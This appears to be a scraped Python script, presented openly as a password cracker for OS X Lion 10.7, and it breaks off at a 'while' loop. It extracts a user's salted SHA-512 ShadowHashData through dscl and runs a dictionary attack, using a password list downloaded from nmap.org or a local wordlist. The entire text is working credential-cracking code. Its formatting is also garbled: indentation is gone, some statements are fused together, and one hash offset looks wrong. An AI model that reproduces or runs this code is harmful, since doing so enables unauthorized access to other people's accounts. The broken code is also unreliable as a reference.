Os x lion 10.7 password cracker

##########################################
#* OS X Lion 10.7 Password Cracker

from subprocess import *
import hashlib
import os
import urllib2
import sys
from string import *

link ="http://nmap.org/svn/nselib/data/passwords.lst" # Online password file
defaultuser = False
username = ""

def check(password): # Hash password and compare

if not password.startswith("#!"): #Ignore comments

guess = hashlib.sha512(salt_hex + password).hexdigest()
print("Trying... " + password)

if guess == hash:
print("Cleartext password for user '"+username+"' is :"+password)
exit(0)

if len(sys.argv) < 2:
print("No username given. Defaulting to current user.")
defaultuser = True
else:
username = sys.argv[1]

p = Popen("whoami", shell=True, stdout=PIPE)whoami = p.communicate()[0]

if defaultuser:
username = whoami.rstrip()

p = Popen("dscl localhost -read /Search/Users/" + username, shell=True, stdout=PIPE)
dscl_out = p.communicate()[0]list = dscl_out.split("\n")

for pos,item in enumerate(list): # extract digest
if "dsAttrTypeNative:ShadowHashData" in item:
digest = list[pos+1].replace(" ", "")

if len(digest) == 262: #Out of box configuration
salt = digest[56:64]
hash = digest[64:192]
elif len(digest) == 314: # SMB turned on
print("SMB is on")
salt = digest[104:112]
hash = digest[112:240]
eliflen(digest) == 1436: # Lion Server
salt = digest[176:184]
hash = digest[176:304]
elif len(digest) == 1492: # Lion Server with SMB
salt = digest[224:232]
hash = digest[232:360]

print("SALT : " +salt)
print("HASH : " + hash)

salt_hex = chr(int(salt[0:2], 16)) + chr(int(salt[2:4], 16)) + chr(int(salt[4:6], 16)) + chr(int(salt[6:8], 16))

if len(sys.argv) == 3: # If dictionary filespecified
print("Reading from dictionary file '"+sys.argv[2]+"'.")
check(whoami.rstrip())
passlist = open(sys.argv[2], "r")
password = passlist.readline()

while...